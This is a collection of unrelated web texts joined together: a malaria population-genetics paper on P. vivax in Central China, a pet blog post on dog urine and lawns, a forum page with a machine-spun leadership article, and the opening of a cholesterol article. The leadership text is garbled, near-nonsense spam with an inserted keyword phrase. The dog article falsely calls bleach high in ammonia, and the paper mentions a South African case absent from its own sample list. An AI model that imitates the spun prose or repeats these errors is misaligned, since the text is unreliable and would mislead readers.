A recent P. vivax genotyping study in Sabah, Malaysia, demonstrated that focal epidemic expansions may become more frequent in areas with unstable transmission, characteristics of pre-elimination settings . The risk of resurgence in these unstable transmission settings is a major threat to elimination. Imported malaria is of particular concern in this context as it may be an important contributor to local outbreaks. In Central China, importation of P. vivax cases across provincial boundaries or internationally are significant contributors to the overall P. vivax incidence in provinces such as Jiangsu [11–13]. Relative to the temperate strains endemic to Central China, the higher relapse rate of the isolates imported from tropical regions in the south and internationally may influence local transmission dynamics [12, 14]. Information on the diversity and transmission dynamics of the P. vivax population in Central China can potentially provide insights into the changing dynamics of declining malaria incidence and the progression of elimination, as well as the effect of imported cases on the likelihood of successful elimination in this region.
To obtain the baseline molecular epidemiology status and assess the risks of further P. vivax resurgence in Central China, seven polymorphic short tandem repeat (STR) markers were genotyped to determine the local patterns of diversity and transmission in isolates collected from Anhui and Jiangsu Province between 2007 and 2010. In addition, provisional assessment of the utility of the STR marker panel to distinguish local from imported P. vivax cases was undertaken by comparison of the genetic profiles of central Chinese isolates with those from a selection of isolates imported from Southern China and a range of international sites.
All samples were collected with written informed consent from the patient, parent or legal guardian (individuals < 18 years of age). The study was approved by the Institutional Review Board of Jiangsu Institute of Parasitic Diseases (IRB00004221), Wuxi, China.
Study sites and sample collection
A summary of the study sites, sample sizes, dates of collection, and patient characteristics are presented in Table 1. The focal study sites were in Anhui and Jiangsu Province, located in Central China (Figure 1). Sampling was undertaken by passive case detection and a P. vivax transmission study in Central China.
Anhui province covers an area of 139,600 km2 divided into 17 prefecture-level divisions and 105 counties. In 2010, the population was estimated at 59.5 million people , living in the fertile agricultural regions along the Huai River. In the early 2000s, an outbreak led to an increase in P. vivax cases, peaking in 2006, with 34,984 malaria (all species) cases , before it was suppressed with subsequent steady decline in reported cases (Figure 2). As a result of the outbreak, Anhui experienced the highest incidence of malaria (all species) in the country between 2005 and 2009 . Blood samples were collected from P. vivax patients in Anhui between 2007 to 2010, during which the incidence of malaria fell from approximately 5.0 to 0.28 per 10,000 population [9, 15, 20]. The majority of patients came from Bengbu, Bozhou and Huaibei prefectures, located in the north of the Province (Figure 1). In these regions, the climate is temperate, and malaria transmission is seasonal, peaking in July and August.
Jiangsu province covers an area of 102,600 km2 divided into 13 prefecture-level divisions and 106 counties. In 2010, the population was estimated at 78.7 million people . In contrast to Anhui, Jiangsu is a major hot spot for economic development, with major industries in electronics, chemicals and textiles. Although overall malaria incidence was lower than in Anhui, Jiangsu was also affected by the P. vivax resurgence in the early 2000s (Figure 2). As with Anhui, blood samples were collected from P. vivax patients in Jiangsu between 2008 and 2010, during which malaria incidence ranged from approximately 0.09 to 0.05 per 10,000 population [20, 21]. The majority of patients came from Xuzhou and Suqian prefectures, located in the north of the Province (Figure 1). These regions experience a temperate climate, with seasonal malaria transmission peaking in mid-July to early August .
Samples from Anhui and Jiangsu Province were collected from patients confirmed as locally acquired by epidemiologic case investigation. Additional samples for provisional assessment of the markers’ ability to differentiate between local and cross-province or internationally imported cases were collected from patients visiting or returning from Henan and Yunnan Province in central and south China, respectively, and from other countries. Approximately 100 μL capillary blood samples were collected on filter paper from patients attending local hospitals who were microscopy positive for P. vivax. Details on recent travel history and home address were recorded for each patient in order to determine the most likely site where the infection was acquired.
DNA extraction and PCR-based species identification
Extraction of genomic DNA from blood on filter papers was conducted using QIAGEN QIAamp DNA Mini Kits and a QIAcube robot (QIAGEN, Crawley, U.K.). The manufacturer’s protocol (QIAamp DNA Mini and Blood Mini Handbook 2E) was followed, except only one 5 mm circle was extracted per sample, and eluted to a 100 μL volume. Detection for Plasmodium species was undertaken using the method described previously . DNA samples that were determined positive for P. vivax were used for genotyping.
Genotyping was undertaken at seven previously described short tandem repeat markers including Pv3.27, msp1F3, MS1, MS5, MS8, MS10 and MS16 [24, 25]. These markers are included in a consensus panel selected by Country Partners within the Asia Pacific Malaria Elimination Network (APMEN) Vivax Working Group. The APMEN Vivax Working Group is a body of 14 country partners that have acknowledged the utility of genotyping to inform on the parasite’s transmission dynamics and patterns of spread within and across borders, developing a consensus with which to compare and contrast parasite populations from across the Asia-Pacific region.
The Pv3.27, MS16 and msp1F3 loci were amplified using the methods described by Gray et al. entailing two rounds of amplification, with a multiplex first round reaction and separate second round reactions. The MS1, MS5, MS8 and MS10 loci were amplified using a single round of PCR following the protocol described by Gunawardena et al.. The primer sequences for each marker are provided in Additional file 1.
The final labelled PCR products were diluted and sized by denaturing capillary electrophoresis on an ABI 3100 Genetic Analyzer with GeneScan LIZ-500 (Applied Biosystems) internal size standards. Capillary electrophoresis was undertaken at the QIMR Berghofer Medical Research Institute Scientific Services Analytic Facility. Fragment size was determined using Genescan and Peak Scanner software™ Version 1.0 (Applied Biosystems). All electropherogram traces were additionally inspected manually. Negative controls (no DNA and DNA from non-parasitized human blood) and positive controls (DNA from standard strains PVQ, AMRU1 and AMRU2) were used in every run. For each isolate, at each locus, the predominant allele (highest intensity peak), and any additional alleles with peak height at least one-third of the height of the predominant allele were scored . Genotyping success was defined as the presence of at least one allele at a given locus in a given sample.
Population genetic analysis
An infection was defined as polyclonal if two or more alleles were observed at one or more loci. The Multiplicity of Infection (MOI) for a given sample was defined as the maximum number of alleles observed at any of the seven loci investigated. The average MOI for a study site was estimated by the mean MOI across all its samples. For all further analyses, only the predominant allele at each locus in each isolate was used .
Population-level genetic diversity was characterized using a measure of the expected heterozygosity (HE). HE provides a measure of the probability that two unrelated parasites will exhibit different genotypes at a given locus. HE was calculated for each locus using the following formula: HE = [n/(n-1)][1-Σp i 2], where n is the number of isolates analysed and p i is the frequency of the ith allele in the given population. HE was averaged across the 7 loci in each population to provide a measure of population diversity.
The pair-wise FST metric was employed as a proxy of the genetic distance between pairs of populations. Calculations were undertaken using Arlequin software (version 3.5) . Anticipating high marker diversity (which constrains the maximum genetic distance possible), standardized measures of the genetic distance (i.e. F’ST) were also calculated . Briefly, the original FST value was divided by the FST-max, the maximum possible FST value calculated by recoding the data such that none of the alleles were shared amongst populations. Pair-wise tests were undertaken for comparisons between Anhui and Jiangsu Province, as well as between different years.
STRUCTURE software version 2.3.3 was used to determine the most likely number of populations (K) in the total sample, and derive the probability of ancestry of each isolate to each of the K populations. Model parameters were admixture with correlated allele frequencies. Twenty replicates were run for each of K from 1 - 10, each for 200,000 iterations (including 100,000 for burn-in). The most probable K was derived by calculating ΔK as described elsewhere for each of K = 2-9, and using the log probability of the data [Ln P(D)]. STRUCTURE results were displayed in barplots using Distruct software version 1.1 .
After exclusion of loci with more than 15% missing data, multi-locus haplotypes (or infection haplotypes) were reconstructed from the predominant allele at each locus in isolates with no missing data at the remaining loci. Using these haplotypes, multi-locus linkage disequilibrium (LD) was measured by the standardized index of association (IAS) using the web-based LIAN 3.5 software . Under the null hypothesis of linkage equilibrium, the significance of the IAS estimates was assessed using 10,000 random permutations of the data. For each population, LD was assessed in 1) the full sample set, and 2) a curtailed sample set with each unique haplotype represented once only.
The genetic relatedness between sample pairs was assessed by a simple measure of the proportion of alleles shared between haplotype pairs (ps), and using (1-ps) as a measure of genetic distance . Samples with missing data at one or more loci were excluded from analysis. An unrooted neighbour-joining tree was generated from the distance matrix using the APE (Analysis of Phylogenetics and Evolution) package in R . In addition, Principal component analysis (PCA) was undertaken on the distance matrix. The PCA matrix was generated using the pca function in the Modular toolkit for Data Processing framework in Python , and plotting was undertaken using matplotlib library version 1.3.1 .
For temporal assessment of haplotype frequency and persistence, isolates were grouped by date of collection into yearly quarters. Mantel’s r-test was used to assess the correlation between the genetic distance and temporal distance using the ade4 Package in R .
With the exception of the neighbour-joining tree and PCA, cases from Yunnan and Henan Provinces, and suspected internationally imported cases were not included in the analyses.
Samples and genotyping
A summary of the number of isolates included in the study by site and year of collection is presented in Table 1. Of the 161 P. vivax isolates assayed, 128 (80%) could be genotyped successfully at a minimum of six of the seven loci investigated. Subsequent analysis was restricted to these 128 “pass” isolates, which included 94 isolates from Anhui, 25 from Jiangsu, two from Henan, two from Yunnan, with five internationally imported (India = 1, Nigeria = 1, Pakistan = 2, Papua New Guinea = 1).
Insufficient sample sizes were available for temporal analyses within Jiangsu Province (n < 20 in all years). However, as detailed further in the results section on “Population Structure and Differentiation”, allele sharing between Anhui and Jiangsu was sufficient to enable pooling of the two provinces for both spatial and temporal investigations in “Central China”. After pooling, sufficient sample sizes were available for comparisons between 2008, 2009 and 2010. As detailed in Table 1 and Figure 2, malaria incidence declined rapidly between 2008 and 2010 in Anhui, but remained consistently low in Jiangsu.
The genotyping assays exhibited less than 2% failure in the pass samples, apart from the MS10 and MS5 loci, which exhibited a 21% and 11% genotyping failure rate respectively. With the exception of the MS10 locus, 84% (108/128) of the pass samples exhibited a full set of genotype calls at all loci.
Table 2 presents a summary of the percentage of polyclonal infections, multiplicity of infection (MOI) and population level diversity in Anhui and Jiangsu Provinces. When isolates from Anhui and Jiangsu were pooled (Central China), only 5.9% (7/119) of infections demonstrated evidence of multiple clones. Polyclonal infections were observed more frequently in Jiangsu (12%, 3/25) than Anhui (4.3%, 4/94) although this did not reach statistical significance at the 5% level (Fisher’s exact test, P = 0.160). The frequency of polyclonal infection increased over time in Central China, from 1.9% (1/54) in 2008, to 5.1% (2/39) in 2009, and 19% (4/21) in 2010 (Fisher’s exact test, P = 0.029).
Measures of the MOI corresponded with the patterns observed in the frequency of polyclonal infections (Table 2). The MOI was 1.04 in Anhui, 1.12 in Jiangsu, with an overall average of 1.06 across both provinces. The maximum number of alleles observed within a sample at any of the loci investigated was 2. Only one of the seven polyclonal infections detected across Central China displayed multiple alleles at more than one marker.
Population diversity was high across all isolates, heterozygosity (HE) ranging from 0.809 in Jiangsu and 0.816 in Anhui, with an overall HE = 0.824 across both sites (Table 2). Temporally, the population diversity was moderately higher in 2010 (HE = 0.849) compared to 2008 (HE = 0.816) or 2009 (HE = 0.796).
Population structure and differentiation
As detailed in Table 3, the unadjusted FST between Anhui and Jiangsu was low (FST = 0.018). Comparably low levels of differentiation were observed between 2008, 2009 and 2010 (unadjusted FST range = 0.000 - 0.039). Only the differentiation between 2009 and 2010 approached significance (FST = 0.039, P = 0.018). Adjustment for the marker diversity increased the levels of differentiation between Anhui and Jiangsu and in the annual pair-wise comparisons, but the overall levels remained low to moderate (standardized FST range = 0.000 - 0.214).
Using the ΔK method, STRUCTURE analysis suggested evidence of population sub-structure, with K = 4 identified as the most likely number of sub-populations (Additional file 2). However, the log probability of the data [Ln P(D)], which unlike ΔK includes assessment of K = 1, found no evidence of population substructure (Additional file 2). At K = 4, all four sub-populations were observed in both Anhui and Jiangsu (Additional file 3).
Moderately high linkage disequilibrium (LD) was observed in Anhui (IAS = 0.261, P < 0.001), Jiangsu (IAS = 0.404, P < 0.001), and across Central China as a whole (IAS = 0.254, P < 0.001) (Table 4). Temporally, moderately high LD was observed in all years tested (IAS = 0.230 - 0.322, P < 0.001). After accounting for outbreak samples by analysing unique haplotypes only in each test group, the IAS dropped two to three-fold in each of Anhui and Jiangsu, and across Central China. In the temporal analyses, the largest reduction in IAS (four-fold) was observed in 2008, with two-fold and three-fold reductions observed in 2009 and 2010, respectively.
Relatedness and temporal trends
A neighbour-joining tree based on a pair-wise distance matrix at all loci with the exception of MS10 was generated using the data from 104 Chinese samples (Anhui = 84, Henan = 2, Jiangsu = 17, Yunnan = 1) and four suspected imported cases (India = 1, Nigeria = 1, Pakistan = 2) with no missing data (Figure 3). A total of 50 different 6-locus haplotypes were observed in the data set. Several clusters of samples with identical haplotypes were observed in both Anhui and Jiangsu. The largest cluster of identical samples (Haplotype 1) comprised twelve isolates sourced from two prefectures in Anhui and one in Jiangsu. Ten other haplotypes (Haplotypes 2, 4, 8, 23, 33, 35, 37, 40, 44 and 46) were observed three or more times (range 3 - 7) in the data set. Each of these clusters again, generally represented a range of prefectures.
A weak but significant correlation was found between genetic distance (estimated from the number of genotype differences) and temporal distance classified by annual quarter (Mantel r-test, r = 0.05, P = 0.01). Further visual representation of haplotype dynamics over time is presented in Figure 4. The majority of the haplotypes observed three or more times (10/11) were observed in two or three different years.
Relatedness of imported cases
Visual inspection of the neighbour-joining tree (Figure 3) and principal components analysis (PCA) plot (Additional file 4) did not reveal any distinct clustering of the isolates from Yunnan Province, Southern China, or the imported cases (India, Pakistan and Nigeria) from the central Chinese isolates. The Indian isolate shared an identical multi-locus haplotype with one of the two isolates from Yunnan. The next most closely related isolate to this pair of infections was one of the two imported cases from Pakistan. The imported cases from South Africa and Papua New Guinea could not be plotted on the neighbour-joining tree or PCA plot owing to incomplete genotype profiles.
In Central China, the epidemiology of P. vivax malaria has changed significantly over the past couple of decades, with overall declining incidence interrupted by epidemic expansions and changing dynamics of imported cases. These epidemiological changes may impact the transmission dynamics of the local P. vivax population. Indeed, we recently demonstrated unstable, epidemic P. vivax transmission in the pre-elimination setting of Sabah, Malaysia, which we hypothesized to be largely affected by the changing epidemiological dynamics in the rapidly shrinking parasite population . Previous studies have used genotyping of variable surface antigens to describe the diversity of P. vivax populations in Central China in the mid to late 2000s for the purposes of assessing a potential vaccine candidate [41–43]. However, assessments of P. vivax population structure and transmission dynamics, requiring neutral genetic markers, have not yet been described in this region. The current analysis focused on the population structure and transmission dynamics of P. vivax isolates in Central China using neutral genetic markers on parasites collected over the past few years following the most recent resurgence, presenting evidence of moderately unstable, largely clonal transmission in a parasite population with high levels of diversity. This data set should provide a useful baseline against which to compare patterns of P. vivax diversity and structure in Central China in later years in order to assess the impact of ongoing transmission intervention efforts in the region, as recently demonstrated in Sri Lanka .
Parasite isolates were sourced from two neighbouring provinces in Central China (Anhui and Jiangsu). Anhui exhibits the highest incidence of malaria in Central China (API 5.0 - 0.28 between 2007 and 2010), significantly greater than Jiangsu (API 0.05 - 0.09 between 2007 and 2010). The latter has not experienced any indigenous malaria cases in 2012 and 2013. Only moderate genetic differentiation was observed between the two provinces and this was apparent even after adjusting for the extensive marker diversity (F’ ST = 0.1). However, the number of isolates from Jiangsu was small, reducing the power of the analysis. Nonetheless, in accordance with the F’ ST results, limited evidence for differentiation between Anhui and Jiangsu was observed with STRUCTURE analysis, with any sub-populations rather being shared amongst the two provinces. The level of differentiation observed with the F’ ST analysis was lower than levels observed in intra-country comparisons in Sabah (F’ ST = 0.5 - 0.6) and Colombia (F’ ST = 0.4 - 0.7) , where P. vivax endemicity is comparably low. Rather, the differentiation is more comparable to levels observed between sites in Papua New Guinea (PNG) (F’ ST = 0.14 - 0.16) . The mechanisms responsible for these observations in Central China are likely to be different from those in PNG, where transmission intensity is considerably higher, relapse dynamics differ, and human movement between populations may be limited. In contrast to the marked geographical boundaries in PNG, the majority of the Chinese isolates were sourced from neighbouring prefectures with limited geographical boundaries. This is not unexpected as hundreds and thousands of people travel between the two provinces every day. The recent epidemic expansion in Central China may have added to the increased panmixis between the provinces affected. In addition, the long dormancy duration (often exceeding eight months) of the temperate P. vivax strains endemic to Central China may have contributed to the persistence and spread of infections both temporally and geographically. Indeed, the majority of the multi-locus haplotypes observed three or more times in the data set (10/11), were observed in two or three different years of collection. Hence the current evidence suggests that the recently malaria-free province of Jiangsu is at moderately high risk of re-introduced malaria from Anhui.
The current analysis of seven STR markers demonstrated polyclonal infections to be infrequent in both Anhui (4%) and Jiangsu (12%). These levels of polyclonal infection are generally lower than those observed in tropical and sub-tropical endemic populations across the globe [24, 26, 27, 45–49], possibly reflecting the different relapse dynamics and relatively short window for local transmission in the more temperate setting of Central China. However, caution is required in comparison between different study sites owing to differences in markers and/or potential differences in allele calling. Previous analysis of P. vivax surface antigens on isolates from Anhui Province demonstrated a low frequency of polyclonal infections in 2004 (6%) , and moderate frequency (15%) between 2006 and 2008 . Across both Anhui and Jiangsu, a trend of increasing frequency of polyclonal infections was observed between 2008 and 2010 (2 - 19%). The results across the studies agree on a generally low frequency of polyclonal infections in Central China, compatible with largely clonal transmission dynamics over the past 10 years. However, the factor(s) responsible for the subtle variation between Anhui and Jiangsu, and temporally, remain unclear. It might be speculated that infections introduced from regions with more “tropical” relapse dynamics are responsible for some of the variation. Indeed, the high relatedness (maximum of one multi-allelic locus) between the clones in the polyclonal infections detected may support a relapse versus super-infection dynamic. Clonal transmission dynamics during expansions may have also contributed to the observed trends. However, firm conclusions can not be made owing to the limited sample size. Further investigations with larger sample size are required to confirm the trend and to elucidate the relative impact of relapse and imported/introduced cases on polyclonal infection dynamics in Central China.
The results of the analyses of population diversity and linkage disequilibrium (LD) demonstrate evidence of moderate instability in P. vivax transmission in Central China. As observed in P. vivax populations from multiple endemic settings across the globe [24, 26, 27, 45–49], high levels of diversity were observed in both Anhui and Jiangsu (HE = 0.8). The reservoirs sustaining this diversity in the face of aggressive containment efforts remain unclear. Sub-patent and asymptomatic infections may present a largely hidden reservoir, with undetected imported infections in particular enabling maintained diversity. Indeed, the propensity of P. vivax to relapse from its dormant liver stage weeks to months after the primary infection may greatly aid the introduction of imported strains. A recent study investigating temporal trends in the diversity of P. vivax isolates in Sri Lanka demonstrated that despite rapidly declining endemicity between 2003-2004 and 2006-2007, population diversity remained unexpectedly high in the latter years . The authors postulated that imported infections were likely to be a major source of the maintained population diversity in this setting. In tropical and subtropical regions with year round transmission, outcrossing may enhance the population diversity. Indeed, in the low endemic setting of Temotu Province, Solomon Islands, where a recent study demonstrated comparatively higher diversity in P. vivax (HE = 0.85) relative to P. falciparum (HE = 0.54), frequent relapse may have facilitated polyclonal infection and outcrossing in the P. vivax population, with moderate contribution to the observed diversity . However, as demonstrated in South Korea , the narrow window for transmission in temperate regions reduces the opportunity for recombination and, thus, is not likely to be a major source maintaining the diversity in Central China.
Despite the high population diversity, LD remained high in both Anhui and Jiangsu and in each year tested (IAS = 0.2 – 0.4), suggestive of low recombination, as might be anticipated with largely clonal transmission and limited opportunity for transmission. However, when each distinct haplotype was represented just once, the strength of LD (IAS) declined two- to four-fold, with the greatest decline observed in 2008 (shortly after the peak of the P. vivax resurgence in Central China). The strengthening of LD by the expansion of a few haplotypes in an otherwise moderately panmictic population is suggestive of occasional outbreaks/epidemic transmission. Indeed, multiple small outbreak clusters of identical haplotypes were observed in the neighbour-joining plot. In Sabah, similar outbreak dynamics were observed, but with the majority of the identical haplotypes observed within short temporal windows and moderately confined geographic space . In contrast, identical Chinese haplotypes were often observed across multiple years (Figure 4) and prefectures (Figure 3). Indeed, only a weak correlation was observed between the genetic and temporal distance between the Chinese isolates (Mantel r-test, r = 0.05). Variation in relapse dynamics between the tropical Sabahan isolates, and the temperate Chinese isolates may account in part for these differences.
In settings such as Central China, where the endemicity of local infections is declining rapidly but the relative proportion of imported cases rising, geographic markers enabling confirmation of imported versus local P. vivax cases are urgently needed. Using a selection of samples sourced from P. vivax cases acquired from Southern China and internationally, a provisional assessment was undertaken on the utility of the current marker panel to distinguish central Chinese from imported infections. As demonstrated with neighbour-joining analysis and principal component analysis, although none of the isolates from outside Central China shared identical haplotypes to any of the central isolates, evidence for the utility of the marker panel for detecting imported cases was limited. A recently developed data analysis platform (VivaxGEN) has been made available for enhanced comparison of STR-based P. vivax data between studies . This multi-centre approach enables data sharing between Central China and other P. vivax endemic regions across the globe, so that the utility of the APMEN marker panel as well as new markers can be investigated comprehensively. Indeed, as recently demonstrated in a global study of variation in the P. vivax mitochondrial genome, SNPs in this organelle may offer some assistance in resolving the geographic origin of isolates at least at a regional level . Furthermore, variants in the apicoplast genome may enable further geographic resolution as recently demonstrated in a global selection of P. falciparum isolates .
Although interventions to suppress the recent P. vivax resurgence in Central China appear to have been successful in reducing the parasite incidence, genotyping analysis confirms complex parasite dynamics during the suppression phase. The ability of certain parasite lineages to expand locally demonstrates the instability of transmission and risk of future resurgence. With limited barriers to gene flow between Anhui and Jiangsu, the risks of resurgence in the latter demand continued dedication to surveillance to detect early warning signals. Parasite genotyping may facilitate early detection of outbreaks. Further studies utilising the consensus marker sets or barcodes informed by nuclear and organellar genomic data will be required to discriminate local from imported P. vivax isolates in Central China and other vivax endemic regions. Such studies will inform the main reservoirs of infection, the degree to which imported cases may affect the local transmission, and in doing so help to focus appropriate malaria control resources to ensure the ultimate elimination of the parasite.
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This study has been an output of the Asia Pacific Malaria Elimination Network (APMEN). The study was funded by an APMEN Project Grant awarded to QG (No. 107-02). YL, JC, and QG were funded by Jiangsu Province’s Construction project (BM2009902), Jiangsu Province’s Medical High Tech Platform (ZX201108) and the National S & T Major Programme (2012ZX10004220). RH and JC was funded by Natural Science Foundation of China (No. 30972768 and 81271870, respectively). KG was funded by a NHMRC project grant (App1021273) and QC, by Department of Defence, Australia. SA, RNP and HT were funded by the Wellcome Trust [Wellcome Trust Senior Fellow in Clinical Science (091625) awarded RNP]. SA is also part-funded by APMEN.
We would like to thank the patients who contributed their samples to the study; the health workers and field team who assisted with the sample collections; Dr Catherine Moyes, Dr Zhi Huang and Prof Simon Hay for providing the P. vivax prevalence map; Ms Kylie Mannion and Ms Amanda Murphy for assistance with APMEN administrative procedures. The opinions expressed herein are those of the authors and do not necessarily reflect those of the Australian Defence Force Joint Health Command.
The authors declare that they have no competing interests.
YL, QG, QC, RH, SA, JC and RNP conceived and designed the study. YL, JC, and KG performed the laboratory assays. HT, SA, TGC, YL and JC performed the data analysis. JC, YL, QG and HYZ provided essential contribution to the sample collections. YL, SA, QC, RNP, HT, JC, RH and QG wrote the manuscript and facilitated data interpretation. All authors read and approved the final manuscript.
Yaobao Liu, Sarah Auburn contributed equally to this work.
Electronic supplementary material
Additional file 2: Inference of most likely STRUCTURE-defined K in Anhui and Jiangsu. The top panel presents ΔK against K (from 2-9: cannot evaluate the first and last K), with weak evidence for the most likely K of 4 . The bottom panel presents the mean log probability of the data against K (from 1 - 10), with weak evidence for the most likely K at 1. (TIFF 39 KB)
Additional file 3: Population structure in Anhui and Jiangsu inferred by STRUCTURE at K = 4. Each vertical bar represents a sample, with colour-coding reflecting the predicted ancestry to each of the 4 (K) sub-populations. K1 = light green, K2 = dark green, K3 = red, and K4 = orange. (TIFF 37 KB)
Additional file 4: Principal component analysis of the genetic variation between local and imported P. vivax cases in Central China. The PCA was generated using data from 104 Chinese and 4 imported isolates which exhibited full genotype profiles at the loci investigated (excluding MS10). As with the neighbour-joining tree (Figure 4), colour-coding reflects the province (first administrative level) for the Chinese isolates, and country for the imported isolates. (PDF 23 KB)
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Liu, Y., Auburn, S., Cao, J. et al. Genetic diversity and population structure of Plasmodium vivax in Central China. Malar J 13, 262 (2014). https://doi.org/10.1186/1475-2875-13-262
- Plasmodium vivax
- Population genetics
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A dog is man’s best friend but a lawn’s worst enemy.
It’s a familiar sight: A lush green lawn pockmarked with ugly brown patches. This causes many a pet parent to scratch their head and wonder: Why does dog wee kill grass?
So let’s ask the question.Is your answer: a) Dog pee is acidic b) It’s the high nitrogen content c) Dog pee is very concentrated and burns the grass.
The correct answer is (b) it has a high nitrogen/urea content.
Why is Dog Pee Bad for Grass? Protein, Nitrogen, and Ammonia
What do you look for in a best food for dogs? Ideally you study the product’s ingredients. The best foods have a named meat heading up the list. Or perhaps you go the whole hog and feed a raw diet.
Dogs are omnivores that thrive on a meat-rich diet. But those chicken fillets or beef mince are high in protein. During digestion protein is broken down into ammonia-like molecules and nitrogen. This is then harmlessly got rid of urine.
What common household product is also high in ammonia? Yep, bleach!
And pour bleach on grass and what do you get? Dead grass.
Which is pretty much what’s happening when the dog pees on the lawn. But of course, things are a tad more complicated than this.
For a start, nitrogen can be a good thing….in the right quantities. Yep, Dilute nitrogen is a fertilizer…so it’s all in the concentration. Too much is bad, while a little can be a good thing.
Which brings us nicely onto the male vs female dog as destroyers of healthy looking lawns.
Four Legs Bad, Three Legs Good?
It’s widely accepted that female dogs are worse for grass health than male. This is because of the dynamics of how a dog pees.
A female dog peeing squats, with her nether regions close to the ground. This results in a localized puddle of pee.
In contrast, a male dog peeing cocks a leg to sprinkle a tuft of grass, tree, or fence post. It’s this ‘spreading pee thinly’ that saves the grass where the boys are concerned.
Run with this logic and you soon see that a female dog from a large breed (who therefore has a bigger bladder capacity and produces lakes of pee, rather than puddles,) is the worst offender.
How to Stop Dog Pee Killing Grass
Let’s look at the facts, in order to find a solution to dog peeing on grass and killing it.What we know is:
- Dog pee is high in nitrogen products
- Too much nitrogen kills grass
- The more concentrated the pee, the worse the problem
This gives us three ways to ban brown and encourage green growth.
- Good Quality Diet: OK, so meat is high protein, so what about feeding a vegetarian diet? Wrong! The more highly digestible the protein, the less waste product is present in urine. Meat is highly digestible whereas plant based protein is not. The best option is a high quality food made from a named meat, so that the dog digests most of the goodness with less waste nitrogen produced.
- Too Much of a Good Thing: When the dog pees, they add nitrogen to the lawn. If you are already regularly fertilizing the grass, this leads to a ‘straw that broke the camel’s back’ scenario. Instead, suck right back on additional fertilizers so the grass isn’t overwhelmed with nitrogen.
- Weak as Water: Encourage the dog to drink and their urine is weaker. Less concentrated pee isn’t a problem. (Proof of this is the extra lush ring of grass around the urine burn. This is where the nitrogen content is more dilute and works to feed the lawn.) Try switching from dry to canned food, or add water to their kibble. In addition, water the grass regularly so that the ground is moist and will dilute a wee-shower. And yes, watching the dog and tipping a pan of water of the spot, also works a treat…but rather labour intensive.
Which Plants are Dog Pee Resistant?
The grasses that are most resistant are those with deep roots, such as rye or fescue. Those deep roots suck up water from deeper in the soil, where the nitrogen content is lower.
On the downside, some grasses are more nitrogen sensitive than others. These include Bermuda grass and bluegrass. Sow these seeds on a dry surface that regularly used by a female dog and the garden quickly becomes a poster-boy for brown-patch central.
But combine a hardy grass such as rye or fescue with daily watering, and you stand the best chance of a croquet-smooth, green lawn.
It’s the Acid in Urine that Does It…NOT!
A common misapprehension is that dog pee kills grass because it’s so acidic. Not true.
Question: What neutralizes dog pee?
Answer: Don’t go there!
The pH of healthy dog urine is around pH 6.5 to 7.0 . This is within a hair’s breadth of neutral and is best not messed with.
Bear in mind that this is on a scale of zero to 14, with neutral being 7.0, and acid registering at 6.0 or below.
In fact, acid urine is not normal and an important clue that a dog may have a lower urinary tract infection. Indeed, acid urine promotes the formation of certain crystals and bladder stones. This makes it an important problem to identify and correct for the sake of your dog’s good health.
Some old wives tales such as giving the dog bicarbonate of soda or even orange juice, can potentially do more harm than good. By manipulating the pH of canine urine, you can accidentally induce crystal formation. When crystals clump together in pee to form stones, the dog can be in serious trouble. Don’t go there.
Why does dog wee kill grass?
A combination of nitrogen waste products and strong urine is what kills grass.
Combat the problem by keeping the lawn watered and encouraging the dog to drink more. Or, go with the flow, give up croquet, and accept those brown patches are what makes your garden unique on Google maps! | <urn:uuid:5e02f25c-0a2a-4185-a23e-943643287637> | CC-MAIN-2022-33 | https://www.doggydreamteam.co.uk/dog-behaviour/why-does-dog-wee-kill-grass/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.926583 | 1,362 | 2.25 | 2 |
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Would You Like To Be A Company Innovator? Look At This The exclusive assemblage of traits and features that include a truly fantastic leader will often show very mystical and evasive. To truly understand what efficient authority consists of, it is essential to obtain a detailed education on its guidelines and facts. The information under should provide a solid basis for any research of the main topic of authority. Do no matter what it requires to create job much more easy when you're top rated people. Pinpoint the most significant goals as being a head. When that's been attained, you'll have the capacity to establish main concerns. Try to simplify work. You should also put aside a chance to think, both for oneself and also for your supporters. When trying to become great director, you should hear what other people have to state. Your opinions or ideas aren't sure to be excellent because you're a frontrunner. If you listen to other tips or thoughts, you might find that this folks around may also have excellent ideas which could work effectively with your own. Powerful leaders are uplifting. You must create the capability to stimulate those that function under you, stimulating these people to function in the direction of a common target. You can utilize open public talking to accomplish this, but additionally, there are video clips, blogs and forums, content articles and other methods to express your enjoyable concept to the market. Whilst you should always be there to your crew as a innovator, don't neglect to cultivate growth in oneself. Find out in which startup financial projections template is that you would like to expand. Do what you could to stretch out yourself around you are able to. Interact with and deepen your hobbies and skills to help make your most beneficial efforts. Like a innovator, you must not enjoy preferred. Taking part in faves can get you into issues. People who you may not prefer will probably be not any way too happy instead of value you. They can even statement your favoritism. In case you have a great good friend in your team, you may want to consider moving to another one office to protect yourself from the discord of interest. Learn how to delegate nonessential jobs in your workers. Delegation lets you focus on the important things that must be done to help make your firm effective. In addition, assigning activities to your staff presents them a feeling of great pride and management within the company. Though it is tempting to try and do everything on your own, delegation is beneficial for your business. As soon as you turn into a leader, do not create the error of trusting your work is completed. Whilst maybe you have earned the initial area of the fight, there is a lot more to come. You must strive daily to indicate folks that you deserve to be what your location is. Don't do issues in the office that men and women might see as deceitful or devious. You can't get other people to believe in you in the event you slip again on promises frequently. If touting your unbeatable service is something one does, your subordinates need to know how to complete those objectives. The price of strong control to the company enterprise just can not be over-stated. The cabability to inspire and spur other individuals onto achievement can be a exceptional factor certainly, as well as something that may be in fact worth exam. With any good luck, the details supplied over has become a great starting place for viewers everywhere.
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Forum Role: Participant | <urn:uuid:a3a17a24-c012-4992-8802-42240cfb562c> | CC-MAIN-2022-33 | https://mttcoin.com/forums/users/rootsecure87/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.966099 | 723 | 1.640625 | 2 |
Boost Your Good Cholesterol
15 Heart-Healthy Foods to Boost Your Good Cholesterol
You’ve probably heard that HDL cholesterol = good and LDL cholesterol = bad. So if you’re trying to improve your heart health (or just keep your ticker in tip-top shape), you might be wondering what to eat to keep your HDL levels up.Plenty of foods can help improve your cholesterol ratio and promote good heart health overall. Here’s a look at what you definitely want to be eating more of.
Cholesterol is a waxy, fat-like substance found in your cells. Your liver makes some cholesterol, and you get more from animal food sources like meat and dairy.
Some cholesterol is essential to helping your body function properly, but too-high levels of cholesterol in your blood can up your risk for heart problems.
